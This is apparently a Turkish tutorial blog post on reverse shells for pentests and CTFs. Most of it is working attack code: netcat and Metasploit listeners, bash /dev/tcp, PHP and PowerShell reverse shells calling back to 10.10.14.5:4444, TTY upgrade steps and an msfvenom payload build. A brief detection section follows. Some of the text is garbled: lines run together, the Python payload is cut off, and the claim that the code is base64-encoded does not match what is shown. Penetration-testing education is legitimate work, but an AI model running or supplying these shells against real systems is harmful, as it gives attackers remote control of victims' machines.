Pentest ve CTF senaryolarında reverse shell almanın farklı yöntemlerini, payload seçimini ve tespiti zorlaştıran teknikleri inceledim.
Bu yazı defansif araştırma amaçlı saldırı pattern örnekleri içerir. Aşağıdaki kod blokları antivirüs yazılımlarının yanlış pozitif tetiklemesini önlemek için base64 ile encode edilmiştir; tarayıcınızda otomatik olarak decode olur. Bu içerikler yalnızca yetkilendirilmiş test ortamlarında ve eğitim amacıyla kullanılmalıdır.
Normal bir shell bağlantısında saldırgan hedef sisteme bağlanır (bind shell). Reverse shell'de ise hedef sistem saldırgana bağlanır. Bu yaklaşım, güvenlik duvarı kurallarını atlatmak için kritik önem taşır — çünkü çoğu firewall gelen bağlantıları filtreler, giden bağlantıları serbest bırakır.
[Hedef] ──── bağlantı kurma ────▶ [Saldırgan:4444]
Payload çalıştırmadan önce kendi makinenizde dinleyiciyi açın:
# Netcat ile klasik listenernc -lvnp 4444# Rlwrap ile geliştirme (ok tuşları, history)rlwrap nc -lvnp 4444# Metasploit multi/handlermsfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; run"
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1# Alternatif — bazı sistemlerde daha güvenilirbash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
# Python 3
python3
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"); ?>// Daha kapsamlıphp -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.5", 4444)$stream = $client.GetStream()[byte[]]$bytes = 0..65535 | % { 0 }while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)$sendback = (iex $data 2>&1 | Out-String)$sendback2 = $sendback + "PS " + (pwd).Path + "> "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte, 0, $sendbyte.Length)$stream.Flush()}$client.Close()
Ham reverse shell'ler genellikle kararsızdır — CTRL+C bağlantıyı keser, tab completion çalışmaz. Aşağıdaki adımlarla tam TTY'ye yükseltin:
# 1. Adım — hedef makinede
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. Adım — CTRL+Z ile arka plana al, kendi terminalinizde
stty raw -echo; fg
# 3. Adım — hedef makinede
export TERM=xterm
stty rows 38 cols 175Hızlı payload üretmek için revshells.com pratik olsa da üretim ortamı IP'lerinizi üçüncü parti sitelere girmekten kaçının. Bunun yerine:
# msfvenom ile özelleştirilmiş payloadmsfvenom -p linux/x64/shell_reverse_tcp \LHOST=10.10.14.5 LPORT=4444 \-f elf -o shell.elfchmod +x shell.elf && ./shell.elf
Mavi takım perspektifinden izlenmesi gereken işaretler:
/dev/tcp kullanan bash process'leripython, php, perl process'leri# Şüpheli bağlantıları anlık izle
ss -tnp | grep ESTABLISHED
# Process'in hangi bağlantıları açtığını gör
lsof -i -n -P | grep "10.10.14"Not: Bu teknikler yalnızca izinli pentest ortamlarında ve CTF senaryolarında kullanılmalıdır.